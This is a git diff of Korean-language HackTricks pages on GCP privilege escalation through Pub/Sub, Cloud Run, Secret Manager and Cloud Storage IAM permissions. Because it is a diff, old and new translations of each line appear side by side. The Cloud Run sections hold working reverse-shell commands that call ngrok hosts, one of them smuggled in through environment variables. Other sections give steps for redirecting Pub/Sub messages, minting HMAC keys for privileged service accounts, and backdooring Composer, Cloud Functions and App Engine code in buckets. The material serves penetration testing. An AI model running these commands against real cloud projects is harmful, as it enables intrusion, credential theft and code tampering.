토픽의 스냅샷은 **현재 unACKed 메시지와 그 이후의 모든 메시지를 포함합니다**. 토픽의 스냅샷을 생성하여 **모든 메시지에 접근할 수 있으며**, **토픽에 직접 접근하는 것을 회피할 수 있습니다**.
|
||||
```bash
|
||||
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
|
||||
```
|
||||
### **`pubsub.snapshots.setIamPolicy`**
|
||||
|
||||
이전 권한을 자신에게 할당합니다.
|
||||
|
||||
### `pubsub.subscriptions.create`
|
||||
|
||||
지정된 URL로 수신된 모든 메시지를 전송하는 푸시 구독을 주제에 생성할 수 있습니다.
|
||||
지정된 URL로 수신된 모든 메시지를 전송하는 토픽에 푸시 구독을 생성할 수 있습니다.
|
||||
|
||||
### **`pubsub.subscriptions.update`**
|
||||
|
||||
메시지를 훔치기 위해 자신의 URL을 푸시 엔드포인트로 설정합니다.
|
||||
메시지를 탈취하기 위해 자신의 URL을 푸시 엔드포인트로 설정합니다.
|
||||
|
||||
### `pubsub.subscriptions.consume`
|
||||
|
||||
구독을 사용하여 메시지에 접근합니다.
|
||||
|
||||
구독을 사용해 메시지에 접근합니다.
|
||||
```bash
|
||||
gcloud pubsub subscriptions pull <SUSCRIPTION> \
|
||||
--limit=50 \
|
||||
--format="json" \
|
||||
--project=<PROJECTID>
|
||||
```
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
이전 권한 중 하나를 자신에게 부여합니다.
|
||||
자신에게 이전 권한 중 하나를 부여하세요.
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,18 +12,15 @@ Cloud Run에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
이 권한들을 가진 공격자는 **임의의 코드를 실행하는 run 서비스를 생성**(임의의 Docker 컨테이너), Service Account를 연결하고 코드가 **메타데이터에서 Service Account 토큰을 유출**하도록 만들 수 있습니다.
|
||||
이 권한을 가진 공격자는 **임의의 코드**(임의의 Docker container)를 실행하는 run 서비스를 생성하고 Service Account를 연결한 뒤, 코드로 metadata에서 Service Account token을 **exfiltrate**하도록 만들 수 있습니다.
|
||||
|
||||
이 방법의 익스플로잇 스크립트는 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py)에서 찾을 수 있으며 Docker 이미지는 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage)에서 찾을 수 있습니다.
|
||||
이 방법에 대한 exploit 스크립트는 [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py)에서, Docker 이미지는 [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage)에서 확인할 수 있습니다.
|
||||
|
||||
단, 서비스를 단순 생성하는 대신 `gcloud run deploy`를 사용할 경우 **`update` 권한이 필요합니다**. [**예시 확인**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
`gcloud run deploy`를 사용하여 서비스를 단순 생성 대신 배포할 경우 **`update` permission**이 필요하다는 점에 유의하세요. 예시는 [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh)를 확인하세요.
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
이전 방법과 동일하지만 서비스를 업데이트하는 방식입니다:
|
||||
|
||||
<details>
|
||||
<summary>Deploy Cloud Run service with reverse shell</summary>
|
||||
이전 경우와 비슷하지만 서비스를 업데이트하는 경우:
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
cloud Run에 대한 이전 권한을 자신에게 부여합니다.
|
||||
cloud Run에 대한 이전 권한을 자신에게 부여하세요.
|
||||
```bash
|
||||
# Change policy
|
||||
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
명령에 지정된 service account를 탈취하기 위해 reverse shell이 포함된 job을 실행합니다. 다음에서 [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh)를 확인할 수 있습니다.
|
||||
|
||||
<details>
|
||||
<summary>reverse shell을 사용하는 Cloud Run job 생성</summary>
|
||||
명령에 지정된 서비스 계정을 탈취하기 위해 reverse shell을 포함한 job을 실행합니다. [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh)을 확인하세요.
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
이전 경우와 마찬가지로 **job을 업데이트하고 SA를 변경**한 다음, **명령을 설정**하고 이를 실행할 수 있습니다:
|
||||
|
||||
<details>
|
||||
<summary>Update Cloud Run job and execute with reverse shell</summary>
|
||||
이전과 유사하게 **작업을 업데이트하고 SA를 업데이트**, **명령어**를 설정한 뒤 실행할 수 있습니다:
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -77,24 +80,33 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Cloud Jobs에 대해 앞서 언급한 권한을 자신에게 부여하세요.
|
||||
Cloud Jobs에 대해 앞서 언급한 권한을 자신에게 부여합니다.
|
||||
```bash
|
||||
# Change policy
|
||||
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
job 실행의 env variables를 악용하여 임의 코드를 실행하고 reverse shell을 얻어 container의 내용(source code)을 덤프하고 metadata 안의 SA에 접근합니다:
|
||||
|
||||
<details>
|
||||
<summary>Cloud Run job을 environment variable exploitation으로 실행</summary>
|
||||
작업 실행의 env variables를 악용하여 임의의 코드를 실행하고 reverse shell을 얻어 container의 내용(source code)을 덤프하고 metadata 안의 SA에 접근:
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
</details>
|
||||
|
||||
## 참고 자료
|
||||
## 참고자료
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ secretmanager에 대한 자세한 정보:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
이 권한은 secret manager에서 secrets를 읽을 수 있는 접근 권한을 제공합니다. (secret 안에 어떤 정보가 저장되어 있는지에 따라 privielegs를 상승시키는 데 도움이 될 수 있습니다):
|
||||
이 권한은 secret manager에서 secrets를 읽을 수 있는 접근을 제공합니다. 저장된 정보에 따라 이는 escalate privielegs에 도움이 될 수 있습니다:
|
||||
|
||||
<details><summary>평문 secret 버전 가져오기</summary>
|
||||
```bash
|
||||
@@ -29,14 +29,20 @@ gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
이 권한은 secret manager에서 비밀을 읽을 수 있는 접근 권한을 제공합니다. 예:
|
||||
이를 통해 secret manager에서 secrets를 읽을 수 있는 접근 권한을 부여할 수 있습니다. 예:
|
||||
|
||||
<details><summary>비밀에 IAM 정책 바인딩 추가</summary>
|
||||
<details><summary>secret에 IAM 정책 바인딩 추가</summary>
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
또는 정책을 철회하려면:
|
||||
```bash
|
||||
gcloud secrets remove-iam-policy-binding <secret-name> \
|
||||
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,28 +12,82 @@ Basic Information:
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
이 권한은 **Cloud Storage에 저장된 파일을 다운로드**할 수 있게 합니다. 경우에 따라 **민감한 정보가 그곳에 저장되어 있는 경우**가 있어 이로 인해 권한 상승이 가능해질 수 있습니다. 또한 일부 GCP 서비스는 정보를 버킷에 저장합니다:
|
||||
이 권한은 **Cloud Storage에 저장된 파일을 다운로드할 수 있게 합니다**. 경우에 따라 **민감한 정보가 그곳에 저장되어 있기 때문에** 이는 권한 상승으로 이어질 수 있습니다. 또한 일부 GCP 서비스는 정보를 buckets에 저장합니다:
|
||||
|
||||
- **GCP Composer**: Composer Environment를 생성하면 **모든 DAGs의 코드**가 **버킷**에 저장됩니다. 이러한 작업의 코드 안에는 흥미로운 정보가 포함되어 있을 수 있습니다.
|
||||
- **GCR (Container Registry)**: 컨테이너의 **이미지**가 **버킷** 안에 저장되므로, 버킷을 읽을 수 있다면 이미지를 다운로드하여 **leaks 및/또는 소스 코드**를 검색할 수 있습니다.
|
||||
- **GCP Composer**: Composer Environment를 생성하면 **모든 DAG의 코드**가 **bucket** 안에 저장됩니다. 이러한 작업의 코드 안에는 흥미로운 정보가 포함되어 있을 수 있습니다.
|
||||
- **GCR (Container Registry)**: 컨테이너의 **이미지**는 **buckets**에 저장되므로, 해당 buckets를 읽을 수 있다면 이미지를 다운로드하여 **leaks 및/또는 소스 코드**를 검색할 수 있습니다.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
이 권한은 이 섹션의 이전 시나리오들을 **악용할 수 있는 권한을 부여**할 수 있게 합니다.
|
||||
이 권한은 **이 섹션의 이전 시나리오들을 악용할 수 있는 권한을 부여할 수 있습니다**.
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Change Policy
|
||||
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
이 권한으로 권한을 수정하는 방법의 예제는 다음 페이지를 확인하세요:
|
||||
이 권한으로 권한을 수정하는 방법의 예시는 이 페이지를 확인하세요:
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Change policy
|
||||
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Cloud Storage의 "interoperability" 기능은 AWS S3와 같은 cross-cloud 상호작용을 위해 설계되었으며, Service Accounts 및 사용자에 대한 HMAC 키 생성과 관련됩니다. 공격자는 권한이 높은 Service Account에 대해 HMAC 키를 생성함으로써 Cloud Storage 내에서 권한을 상승시킬 수 있습니다. 사용자에 연관된 HMAC 키는 웹 콘솔을 통해서만 조회할 수 있는 반면, access 및 secret 키는 영구적으로 접근 가능하여 백업 목적으로 저장될 수 있습니다. 반대로 Service Account에 연결된 HMAC 키는 API로 접근 가능하지만, 생성 이후에는 access 및 secret 키를 조회할 수 없어 지속적인 접근 측면에서 복잡성이 추가됩니다.
|
||||
|
||||
<details><summary>Create and use HMAC key for privilege escalation</summary>
|
||||
Cloud Storage의 "interoperability" 기능은 AWS S3와 같은 **크로스-클라우드 상호작용**을 위해 설계되었으며, **Service Accounts와 사용자용 HMAC 키 생성**을 포함합니다. 공격자는 **권한이 높은 Service Account에 대한 HMAC 키 생성**을 이용해 이를 악용할 수 있으며, 그 결과 Cloud Storage 내에서 **권한 상승**이 발생할 수 있습니다. 사용자 연동 HMAC 키는 웹 콘솔을 통해서만 조회할 수 있지만, 액세스 및 시크릿 키는 **영구적으로 접근 가능**하여 백업 용도로 저장될 수 있습니다. 반면 Service Account에 연결된 HMAC 키는 API로 접근 가능하지만, 생성 후에는 액세스 및 시크릿 키를 조회할 수 없어 지속적인 접근 확보에 추가적인 복잡성이 발생합니다.
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -63,54 +117,52 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
</details>
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
이 방법에 대한 또 다른 익스플로잇 스크립트는 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py)에서 확인할 수 있습니다.
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage 쓰기 권한
|
||||
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
In order to **create a new object** inside a bucket you need `storage.objects.create` and, according to [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), you need also `storage.objects.delete` to **modify** an existent object.
|
||||
|
||||
버킷 안에 **새 객체를 생성**하려면 `storage.objects.create`가 필요하고, [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions)에 따르면 기존 객체를 **수정**하려면 `storage.objects.delete`도 필요합니다.
|
||||
|
||||
클라우드에 쓰기 가능한 버킷을 악용하는 매우 **일반적인 사례**는 **버킷이 web server files 를 저장**하는 경우로, 웹 애플리케이션에서 사용될 **새 코드를 저장**할 수 있다는 점입니다.
|
||||
A very **common exploitation** of buckets where you can write in cloud is in case the **bucket is saving web server files**, you might be able to **store new code** that will be used by the web application.
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer**는 GCP 내부에서 관리되는 **Apache Airflow**입니다. 다음과 같은 흥미로운 특성이 있습니다:
|
||||
**Composer**는 GCP 내에서 관리되는 Apache Airflow입니다. 다음과 같은 흥미로운 특성이 있습니다:
|
||||
|
||||
- **GKE cluster** 안에서 실행되므로, **the SA the cluster uses is accessible** by the code running inside Composer.
|
||||
- composer 환경의 모든 구성요소(**code of DAGs**, plugins 및 data)는 GCP 버킷에 저장됩니다. 공격자가 해당 버킷에 대해 읽기 및 쓰기 권한을 가지고 있다면 버킷을 모니터링하여 **whenever a DAG is created or updated, submit a backdoored version** 하여 composer 환경이 storage에서 백도어된 버전을 가져오게 할 수 있습니다.
|
||||
- Composer는 **GKE cluster** 내부에서 실행되므로, 클러스터가 사용하는 **SA에 Composer 내부에서 실행되는 코드가 접근할 수 있습니다**
|
||||
- Composer 환경의 모든 구성 요소(**DAGs 코드**, 플러그인 및 데이터)는 GCP 버킷에 저장됩니다. 공격자가 해당 버킷에 대한 읽기/쓰기 권한을 가지고 있다면 버킷을 모니터링하면서 **DAG가 생성되거나 업데이트될 때마다 backdoored version을 제출**하여 Composer 환경이 storage에서 백도어된 버전을 가져오도록 할 수 있습니다.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Cloud Functions의 코드는 Storage에 저장되며 새로운 버전이 생성되면 코드가 버킷으로 푸시되고 그 코드로부터 새로운 컨테이너가 빌드됩니다. 따라서 **새 버전이 빌드되기 전에 코드를 덮어쓰는 것만으로도 cloud function이 arbitrary code를 실행하게 만드는 것이 가능합니다.**
|
||||
- Cloud Functions의 코드는 Storage에 저장되며 새 버전이 생성될 때 코드가 버킷으로 푸시되고 그 코드로부터 새로운 컨테이너가 빌드됩니다. 따라서, **새 버전이 빌드되기 전에 코드를 덮어쓰면 해당 cloud function이 임의 코드를 실행하도록 만들 수 있습니다.**
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngine 버전은 `staging.<project-id>.appspot.com` 형식의 버킷 안에 일부 데이터를 생성합니다. 이 버킷 안에는 `ae`라는 폴더를 찾을 수 있으며, 그 안에는 AppEngine 앱의 각 버전별 폴더가 있고 해당 폴더들 안에서 `manifest.json` 파일을 찾을 수 있습니다. 이 파일은 특정 버전을 생성하는 데 사용되어야 할 모든 파일의 json을 포함합니다. 또한 **파일의 실제 이름, GCP 버킷 내에서의 URL(버킷 내부의 파일들은 sha1 해시로 이름이 바뀌어 있음) 및 각 파일의 sha1 해시**를 확인할 수 있습니다.
|
||||
AppEngine 버전은 `staging.<project-id>.appspot.com` 형식 이름의 버킷 안에 일부 데이터를 생성합니다. 이 버킷 안에서는 `ae`라는 폴더를 찾을 수 있으며, 그 안에는 AppEngine 앱의 각 버전별 폴더가 들어 있고, 이 폴더들 내부에서 `manifest.json` 파일을 확인할 수 있습니다. 이 파일은 특정 버전을 생성하는 데 사용되는 모든 파일 목록을 담은 json을 포함합니다. 또한, **파일의 실제 이름, GCP 버킷 내에서의 URL(버킷 내부의 파일들은 sha1 해시로 이름이 변경됨) 및 각 파일의 sha1 해시**를 찾을 수 있습니다.
|
||||
|
||||
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
|
||||
|
||||
그러나 이 버킷에 대한 읽기 및 쓰기 접근 권한이 있다면 버킷을 모니터링하면서 변경(새 버전)이 발생할 때마다 가능한 한 빨리 새 버전을 수정하여 App Engine 버전에 연결된 SA로 권한 상승할 수 있습니다. 이렇게 하면 이 코드로부터 생성된 컨테이너가 backdoored 코드를 실행하게 됩니다.
|
||||
하지만 이 버킷에 대한 읽기 및 쓰기 권한이 있다면 버킷을 모니터링하면서 변경(새 버전)이 발생할 때마다 가능한 한 빠르게 새 버전을 수정함으로써 App Engine 버전에 연결된 SA로 권한 상승이 가능합니다. 이렇게 하면 해당 코드로부터 생성되는 컨테이너가 backdoored 코드를 실행하게 됩니다.
|
||||
|
||||
언급한 공격은 여러 가지 방법으로 수행될 수 있으며, 모두 `staging.<project-id>.appspot.com` 버킷을 모니터링하는 것에서 시작합니다:
|
||||
앞서 언급한 공격은 여러 방식으로 수행될 수 있으며, 모두 `staging.<project-id>.appspot.com` 버킷을 모니터링하는 것으로 시작합니다:
|
||||
|
||||
- AppEngine 버전의 전체 새 코드를 다른 사용 가능한 버킷에 업로드하고, **새 버킷 이름과 그들에 대한 sha1 해시를 포함한 `manifest.json` 파일을 준비**합니다. 그런 다음 버킷에 새 버전이 생성되면 `manifest.json` 파일을 수정하여 악성 버전으로 업로드하면 됩니다.
|
||||
- 수정된 `requirements.txt` 버전을 업로드하여 **malicious dependencies code** 를 사용하게 하고 `manifest.json` 파일을 새 파일명, URL 및 해시로 업데이트합니다.
|
||||
- **수정된 `main.py` 또는 `app.yaml` 파일을 업로드하여 malicious code를 실행**하게 하고 `manifest.json` 파일을 새 파일명, URL 및 해시로 업데이트합니다.
|
||||
- AppEngine 버전의 전체 새 코드를 다른 사용 가능한 버킷에 업로드하고 **새 버킷 이름과 각 파일의 sha1 해시를 포함한 `manifest.json` 파일을 준비**합니다. 그런 다음 버킷 안에 새 버전이 생성될 때 `manifest.json` 파일을 수정하여 악성 것으로 업로드하면 됩니다.
|
||||
- 악성 종속성 코드를 사용하도록 변경한 `requirements.txt`를 업로드하고 `manifest.json`을 새로운 파일명, URL 및 해시로 업데이트합니다.
|
||||
- 악성 코드를 실행하도록 변경한 `main.py` 또는 `app.yaml` 파일을 업로드하고 `manifest.json`을 새로운 파일명, URL 및 해시로 업데이트합니다.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry**는 이미지를 버킷 안에 저장합니다. 해당 버킷에 **쓰기 권한**이 있다면 그 버킷이 실행되는 지점으로 **lateral 이동**할 수 있을지도 모릅니다.
|
||||
- GCR에서 사용하는 버킷은 `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com`과 유사한 URL을 갖습니다(최상위 서브도메인은 [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)에 지정되어 있습니다).
|
||||
- **Google Container Registry**는 이미지를 버킷에 저장합니다. 이 버킷들에 **쓰기 권한**이 있으면 해당 버킷이 실행되는 곳으로 **lateral movement(횡적 이동)**을 시도할 수 있습니다.
|
||||
- GCR에서 사용하는 버킷은 `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com`와 유사한 URL을 가지며 (최상위 서브도메인은 [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)에 명시되어 있습니다).
|
||||
|
||||
> [!TIP]
|
||||
> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
|
||||
> 이 서비스는 deprecated 상태이므로 이 공격은 더 이상 유용하지 않습니다. 또한 이 서비스를 대체하는 Artifact Registry는 이미지를 버킷에 저장하지 않습니다.
|
||||
|
||||
## **References**
|
||||
|
||||
|
||||
Reference in New Issue
Block a user